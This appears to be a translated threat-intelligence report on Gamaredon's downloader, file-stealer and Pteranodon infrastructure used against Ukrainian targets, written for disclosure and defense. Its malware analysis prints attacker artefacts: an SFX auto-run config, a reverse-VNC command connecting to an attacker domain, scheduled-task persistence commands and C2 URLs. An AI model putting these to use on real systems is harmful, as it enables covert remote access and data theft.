Gamaredon又發起了新一輪網絡攻擊
自去年11月以來,俄羅斯和烏克蘭之間的地緣政治緊張局勢急劇升級。2022年1月14日,這場沖突蔓延到網絡領域,烏克蘭政府被WhisperGate攻擊,雖然這些事件的原因仍在分析中,且與Gamaredon(又名Primitive Bear APT)沒有已知的聯系,但我們預計,隨著沖突的發展,我們將在未來幾周看到更多的惡意網絡活動。
Gamaredon下載程序基礎設施(集群1)
大多數攻擊者在網絡攻擊中使用域名后選擇丟棄域名,以便與任何可能的歸屬保持距離。然而,Gamaredon的方法是獨特的,他們似乎不介意循環使用域名。然而,盡管該域名的歸屬是公開的,但它每天仍會被解析為新的互聯網協議(IP)地址。

IP(194.58.100[.]17)

與 194.58.100[.]17 關聯的域
通過關聯的域,可以識別近700個域。這些域名已經被確認為是Gamaredon的域名。關注過去60天內與這些域相連的IP地址,可以識別出136個唯一的IP地址。有趣的是,其中131個IP地址托管在位于俄羅斯的自治系統(AS) 197695內,并由作為這些域名注冊商的同一個實體(reg[.]ru. ru.)管理。
對于研究人員來說,在網絡釣魚活動的精確日期,很難將特定的有效載荷與域名和域名解析到的IP地址聯系起來。此外,Gamaredon 的技術讓攻擊者可以在一定程度上控制誰可以訪問托管在其基礎設施上的惡意文件,因為嵌入在下載程序中的網頁的統一資源定位器 (URL) 文件路徑只能在有限的時間內工作。一旦域被替換到新的 IP 地址,對 URL 文件路徑的請求將導致任何試圖研究惡意軟件的人出現“404”文件未找到錯誤。
集群1
在關注當前下載基礎設施的同時,我們能夠將這個集群的出現追溯到2018年。某些“標記”域,例如前面提到的libre4[.]space,至今仍很活躍,也可以追溯到2019年3月,權限仍然保持一致。在 2019 年 3 月的同一時間,在 185.158.114[.]107 上觀察到一個具有主題關聯命名的域集群,其中一些在今天仍然活躍在這個集群中。

2019 年 3 月 185.158.114[.]107 上的域集群
進一步追溯時間和跨域,可以發現這個基礎設施集群的一個明顯的初始域是 2018 年 12 月位于 195.88.209[.]136 的 bitsadmin[.]space。

2018 年 12 月的初始域 bitsadmin[.]space
我們在這里看到它與一些動態域名系統(DNS)域聚集在一起。在這個集群中后來的 IP 地址上也觀察到了動態 DNS 域,盡管這種技術似乎已經落后了,因為這個集群中目前沒有任何活動。
初始下載程序
通過在公共和私人惡意軟件存儲庫中搜索連接到 Gamaredon 基礎設施的示例,在過去三個月中發現了 17 個示例。這些文件中的大多數要么由烏克蘭的實體共享,要么包含烏克蘭的文件名。

最近觀察到的下載程序文件名
對這些文件的分析發現,它們都利用了遠程模板注入技術,該技術允許文檔在打開后拉下惡意代碼。這使得攻擊者可以控制在其他無害的文檔中發送回受害者的內容。這些文檔使用的遠程模板“dot”文件url的最近例子包括:

許多托管在 Gamaredon 基礎設施上的文件都標有抽象擴展名,例如 .cam、.cdl、.kdp 等。我們認為,這是攻擊者有意減少防病毒和 URL 掃描服務對這些文件的暴露和檢測。
深入研究前兩個——hokoldar[.]ru 和 reapart[.]ru,分析一下最近兩個網絡釣魚活動。從第一個域開始,被動 DNS 數據顯示該域首先解析為 1 月 4 日與其他 Gamaredon 域共享的 IP 地址。上圖 2 顯示 hokoldar[.]ru 繼續于 1 月 27 日與 libre4[.]space 共享 IP 地址,再次將其與 Gamaredon 基礎設施相關聯。在 1 月 19 日的那個短暫窗口中,我們觀察到針對在烏克蘭運營的西方政府實體的有針對性的網絡釣魚嘗試。
除了最近的這個案例之外,我們還發現了針對烏克蘭國家移民局的 Gamaredon 活動的公開證據。12 月 1 日,yana_gurina@ukr[.]net 向 6524@dmsu[.]gov.ua 發送了一封電子郵件。這封電子郵件的主題是“NOVEMBER REPORT”,并附有一個名為“Report on the LCA for June 2021(Autosaved).doc.” 的文件。這樣,它就會下載并執行一個名為glitter.kdp的惡意遠程Word Document Template文件。

發送至 6524@dmsu[.]gov.ua 的電子郵件
愛沙尼亞信息系統管理局網絡安全部門的一個部門 CERT Estonia (CERT-EE) 最近發表了一篇關于 Gamaredon 的文章,其中涵蓋了從這些遠程模板文件返回的內容。為了總結他們在這方面的發現,遠程模板檢索要執行的 VBS 腳本,該腳本建立持久命令和控制 (C2) 簽入,并在 Gamaredon 組準備好進入下一階段時檢索下一個有效負載。在 CERT-EE 的案例中,六個小時后,基礎設施再次恢復生機,并下載了一個自提取 (SFX) 檔案。
這種SFX檔案的下載是Gamaredon組織的一個標志,它提供各種開源虛擬網絡計算(VNC)軟件包,該組織使用這些軟件包來維護對受害計算機的遠程訪問。該組織目前的首選似乎是開源的UltraVNC軟件。
SFX文件和UltraVNC
SFX文件允許某人將其他文件打包到一個壓縮文件中,然后指定當用戶打開包時會發生什么。在Gamaredon的例子中,他們通常保持簡單,并將一個包含簡單批處理腳本和UltraVNC軟件的包捆綁在一起。這個輕量級的VNC服務器可以預先配置,以發起到另一個系統的連接,通常稱為反向隧道,允許攻擊者繞過典型的防火墻限制,這些反向連接似乎不是由攻擊者發起的,而是來自受害者所在的網絡內部。為了說明這是如何發生的,我們將逐步執行我們最近識別的一個SFX文件(SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887)。
在構建SFX文件時,可以選擇指定一系列命令,這些命令將在成功提取壓縮文件時執行。在Gamaredon的例子中,大多數SFX文件將啟動一個批處理文件,它包含在壓縮文件中。在某些情況下,攻擊者會在壓縮中移動文件,試圖混淆它們,但通常可以找到一個命令行開關,內容如下:
;!@Install@!UTF-8!
InstallPath="%APPDATA%\\Drivers"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:34679.cmd"
這會將文件解壓縮到 %APPDATA%\\Drivers,然后在隱藏的控制臺中運行 Windows 批處理文件 34679.cmd。在這段時間內,在我們跟蹤的大多數示例中都觀察到了使用 hidcon(隱藏控制臺)前綴后跟帶有 cmd 擴展名的四五位文件名。
文件包括在以下特別的檔案中:

SFX Archive示例中包含的文件
批處理文件使用隨機的字母數字字符串作為變量名,并根據示例收集不同的信息或使用不同的域和文件名。然而,它們的核心功能都會執行一個特定的功能,啟動反向VNC連接。這個文件的目的是隱藏并執行所需的命令:tart "" "%CD%\sysctl.exe" -autoreconnect -id:[system media access control (MAC) address] -connect technec[.]org:8080。

上例中 34679.cmd 的內容
在本例中,攻擊者設置了變量 nRwuwCwBwYwbwEwI 兩次,我們認為這可能是由于從以前的腳本中復制粘貼造成的(稍后我們將更詳細地介紹這一點)。這個變量以及接下來的幾個變量將識別惡意軟件將偽裝的進程名稱、用于跟蹤受害者的標識符、應該建立連接的遠程攻擊者的域,它被放入VNC 命令,然后是 VNC 連接將使用的端口 8080。在每一個轉折點,攻擊者都試圖融入正常的用戶流量,以盡可能長時間地保持在雷達之下。
設置變量之后,命令行腳本將qlpxpqpopdpnprc .ini復制到為這次運行選擇的可執行文件名稱中,然后在啟動該進程之前嘗試使用指定的名稱組織任何合法進程。ini文件的名稱是隨機分配的,但幾乎總是VNC服務器本身的名稱。
如前所述,此VNC服務器的一個好處是,它將使用提供的配置文件(UltraVNC.ini),連同 rc4.key 和 MSRC4Plugin_for_sc.dsm 這兩個文件,將加密通信以進一步隱藏。
目前尚不清楚表 2 中顯示的三個 .jpg 文件的用途,因為它們是 base64 編碼的數據,很可能使用長密鑰進行異或編碼。Gamaredon 過去曾使用過這種技術,但這些很可能是攻擊者在連接到系統后解碼的暫存文件。
以下是來自單獨文件的 SFX 啟動參數,以說明攻擊者如何嘗試混淆文件名,而且這些潛在的暫存文件并非存在于所有示例中。

在調查這些文件時,我們發現這些.cmd文件的積極開發有助于介紹Gamaredon團隊的進程。
最初,這些文件通過Tor網絡上傳到VirusTotal,并通過傳輸控制協議(TCP)/8080使用進程名svchosst,利用用戶的Windows安全標識符(SID)而不是MAC地址進行VNC識別。SFX文件的名稱只是1.exe。

三分鐘后,我們看到通過 Tor 上傳了相同的文件,但攻擊者已將端口更改為 TCP/80,并在代碼中引入了一個錯誤,導致其無法正確執行。還要注意變量的位置變化。

該錯誤是由于設置的 onnect 值造成的。查看反向 VNC 連接的啟動方式,此值用于兩個地方:-autorec%djM8MfMRM0M5MBM0% 和 -%djM8MfMRM0M5MBM0%。

第二個實例不包含正確拼寫單詞所需的c值,因此顯示了一個無效的參數。又過了三分鐘,這個攻擊者上傳了一個名為2.exe的SFX文件,內容中僅包含 test.cmd 和單詞 test。
同樣,幾分鐘后,我們看到 2.exe 與 test.cmd 一起被上傳,但這次它包含 .cmd 文件的初始部分。但是,攻擊者忘記了包含VNC連接字符串。
不過,這就是有趣的地方——大約 15 分鐘后,我們看到熟悉的 2.exe 使用 test.cmd 上傳,但這次它是由俄羅斯的用戶直接從公共 IP 地址上傳的。我們每隔幾分鐘就會繼續觀察這種上傳模式,每次上傳都是之前的一次輕微迭代。上傳文件的人似乎在快速手動修改 .cmd 文件以恢復功能。
VNC示例中有幾個域和IP地址是硬編碼的,它們與任何域集群無關。
SSL移動到其他基礎設施和示例
在對集群1的基礎設施進行歷史研究時,我們發現了一個與集群1 IP地址92.242.62[.]96相關的自簽名證書:
Serial: 373890427866944398020500009522040110750114845760
SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c
Issued: 2021-01-27
Expires: 2031-01-25
Common name: ip45-159-200-109.crelcom[.]ru
盡管 Crelcom LLC 的 IP 地址 WHOIS 記錄已注冊到莫斯科的地址,但為包含該 IP 地址的網絡塊列出的技術管理員已注冊到克里米亞辛菲羅波爾的地址。我們進一步將 Crelcom 的起源追溯到克里米亞的辛菲羅波爾。
該證書涉及 79 個 IP 地址:
通用名稱 IP 地址——沒有 Gamaredon 域;
一個 IP 地址鏈接到上面的集群 1 (92.242.62[.]96);
76 個 IP 地址鏈接到另一個不同的域集合——“集群 2”;
1 個 IP 地址將我們定向到另一個不同的集群——“集群 3”(194.67.116[.]67);
我們發現這些單獨的集群之間幾乎沒有 IP 地址重疊。
文件竊取程序(集群2)
在我們與集群2關聯的76個IP地址中,有70個已確認鏈接到與Gamaredon文件竊取工具的變體相關的C2域。在過去的三個月里,我們已經確認了23個惡意軟件示例,其中12個似乎已被烏克蘭的實體共享。這些示例中的C2域包括:

最近的文件竊取程序C2域
正如你所看到的,其中一些域名是幾個月前建立的,,盡管它們的年代久遠,但它們的運行仍然良好。例如,在 VirusTotal 上,93 家供應商中只有 5 家認為域名 krashand[.]ru 是惡意的。

2022 年 1 月 27 日 krashand[.]ru 的 VirusTotal 結果
查看這些域的被動 DNS (pDNS) 日志可以快速發現與每個域相關聯的一長串子域。一些子域遵循標準化模式。例如,一些域以重復組合的形式使用字母表的前幾個字母(a、b、c)。相反,jolotras[.]ru 和 moolin[.]ru 使用隨機的字母數字字符。我們認為,這些子域是文件竊取程序在首次與其 C2 服務器建立連接時動態生成的。因此,計算與特定 C2 域關聯的子域的數量可以粗略衡量已嘗試連接到服務器的實體數量。但是,還需要注意的是,pDNS 條目的數量也可能會受到可能正在評估與特定 C2 域相關的惡意樣本的研究人員和網絡安全產品的影響。

文件竊取程序基礎設施的子域命名
在將這些域映射到其相應的 C2 基礎設施時,我們發現這些域在它們指向的 IP 地址方面是重疊的。這使我們能夠識別以下活動基礎設施:

最近的文件竊取程序 IP 基礎設施
值得注意的是,所有文件竊取程序基礎設施似乎都托管在 AS197695 中,即前面強調的同一個 AS。從歷史上看,我們已經看到 C2 域指向全球各種自治系統 (AS)。然而,截至去年 11 月初,攻擊者似乎已將他們所有的文件竊取程序基礎設施整合到俄羅斯 AS 中,主要是這個單一的 AS。
在映射使用此基礎架構所涉及的模式時,我們發現域以類似于前面討論的下載程序基礎架構的方式跨 IP 地址輪換。惡意域今天可能指向 C2 服務器 IP 地址之一,而明天又指向另一個地址。這增加了一定程度的復雜性和混淆性,使網絡防御者難以從受感染的網絡中識別和刪除惡意軟件。因此,在網絡日志中發現 C2 域需要防御者在其網絡流量中搜索惡意域隨著時間推移解析到的完整 IP 地址集合。例如,moolin[.]ru 自 10 月初以來已指向 11 個 IP 地址,每隔幾天就會輪換到一個新 IP。

最近的文件竊取程序 IP 基礎設施
將焦點轉移到惡意軟件本身,文件竊取程序樣本以獨特的方式連接到其 C2 基礎設施。該惡意軟件不是直接連接到 C2 域,而是執行 DNS 查找以將域轉換為 IP 地址。完成后,它會直接與 IP 地址建立 HTTPS 連接。例如:
C2 域:moolin[.]ru
C2 IP地址:194.67.109[.]164
C2通訊:https://194.67.109[.]164/zB6OZj6F0zYfSQ
這種在域和物理 C2 基礎設施之間創建距離的技術似乎是一種繞過 URL 過濾的嘗試:
域本身僅用于初始 DNS 請求以解析 C2 服務器 IP 地址,不嘗試使用域名進行實際連接。
域的識別和阻止不會影響現有的攻擊,因為惡意軟件將繼續使用 IP 地址與 C2 服務器直接通信,即使該域隨后被刪除或輪換到新的 IP。
我們分析的一個最近的文件竊取程序樣本(SHA256:f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824)被發現是一個 .NET 二進制文件,該二進制文件已被混淆以使分析更加困難。查看這些文件時首先跳出來的是它們的大小。這個特定文件的大小超過 136 MB,但我們觀察到文件一直達到 200 MB 甚至更大。這可能是為了規避自動沙盒分析,這通常會避免掃描如此大的文件。它也可能只是所使用的混淆工具的副產品。無論文件大小的原因是什么,攻擊者都會付出代價,因為這種大小的可執行文件在審查時會突出顯示。將這么大的文件傳輸給受害者成為一項更具挑此示例中的混淆相對簡單,主要依賴于定義數組并連接數百行大量單個字符的字符串,以試圖將實際字符串的構造隱藏在噪聲中。

在“text”變量中構建字符串“IconsCache.db”
它首先檢查 Mutex Global\lCHBaUZcohRgQcOfdIFaf 是否存在,如果存在,則意味著惡意軟件已經在運行,并將導致文件竊取程序退出。接下來,它將創建文件夾 C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons,其中將存儲每分鐘截取的屏幕截圖,然后以 YYYY-MM 名稱格式傳輸到 C2 服務器-DD-HH-MM.jpg。
為了識別 C2 服務器的 IP 地址,文件竊取程序將生成一個長度介于 8 到 23 個字符之間的字母數字字符的隨機字符串,例如 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru。
如前所述,一旦文件竊取程序檢索到該域的 IP 地址,它將不再使用該域名。相反,所有通信都將直接使用 IP 地址。
在執行期間,它將搜索連接到計算機的所有固定和網絡驅動器以查找以下擴展名:
.doc
.docx
.xls
.rtf
.odt
. txt
.jpg
.ps1
當它在系統中有一個文件列表時,它開始為每個文件創建一個字符串,該字符串包含文件的路徑、文件的大小和最后一次寫入文件的時間,示例如下:
C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM
文件竊取程序獲取此字符串并生成它的 MD5 哈希值,結果如下:
FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA
接下來,它從哈希中刪除連字符并將所有大寫字母轉換為小寫。然后將這些 MD5 哈希值保存到文件 C:\Users\%USER%\AppData\Local\IconsCache.db 中。這個文件的命名是另一個隱藏在合法的IconCache.db旁邊的嘗試。

IconsCache.db內容
該惡意軟件使用此數據庫來跟蹤唯一文件。
然后,惡意軟件將使用之前在 moolin[.]ru 域示例中說明的 DNS-IP 技術為其 C2 通信生成帶有字母數字字符的 URL 路徑:
https://194.67.109[.]164/zB6OZj6F0zYfSQ
以下是當前解析為集群 2 IP 地址的域的完整列表:

所有集群 2 域
集群3
與SSL證書相關的剩余IP地址與集群1或集群2都不相關,需要用到集群3。
最后一個集群似乎充當了名為Pteranodon的自定義遠程管理工具的C2基礎設施。Gamaredon多年來一直在使用、維護和更新這些代碼的開發。它的代碼包含反檢測功能,專門設計來識別沙箱環境,以阻止反病毒檢測嘗試。它能夠下載和執行文件、捕獲屏幕截圖并在受感染的系統上執行任意命令。
在過去的三個月里,我們發現了33個Pteranodon示例。這些示例通常命名為7ZSfxMod_x86.exe。圍繞這個集群,我們確定了以下C2基礎架構:

集群3域
在集群3中可以看到一種有趣的命名模式,在一些集群1主機和子域名中也可以看到這種模式。我們看到這些攻擊者使用英語單詞,似乎按照前兩個或三個字母分組。例如:
deep-rooted.gloritapa[.]ru
deep-sinking.gloritapa[.]ru
deepwaterman.gloritapa[.]ru
deepnesses.gloritapa[.]ru
deep-lunged.gloritapa[.]ru
deerfood.gortomalo[.]ru
deerbrook.gortomalo[.]ru
despite.gortisir[.]ru
des.gortisir[.]ru
desire.gortisir[.]ru
這種模式與集群2的模式不同,但已經在一些集群1 (droppper)域上觀察到,例如:
alley81.salts.kolorato[.]ru
allied.striman[.]ru
allowance.hazari[.]ru
allowance.telefar[.]ru
ally.midiatr[.]ru
allocate54.previously.bilorotka[.]ru
alluded6.perfect.bilorotka[.]ru
already67.perfection.zanulor[.]ru
already8.perfection.zanulor[.]ru
這種模式甚至被攜帶到相關示例創建的 HTTP POST、文件和目錄中:
示例 1:
SHA256:74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee
deerflys.gortomalo[.]ru
C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deep-naked\deepmost.fly" 抵消 /create / /b /criminal //e:VBScript /cracker counteract " /F
POST /index.eef/deep-water613
示例 2:
SHA256:ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13
deer-neck.gortomalo[.]ru
"C:\Windows\System32\schtasks.exe" /CREATE /sc 分鐘 /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F
POST /cache.jar/deerkill523
因為我們只在某些域看到這種情況,所以這可能是一小部分攻擊者或團隊使用的技術。它表明集群 3 示例與集群 1 示例之間可能存在聯系,這些示例采用了類似的命名系統。相比之下,我們沒有觀察到在任何集群 1 域中使用的集群 2 的大數或隨機字符串命名技術。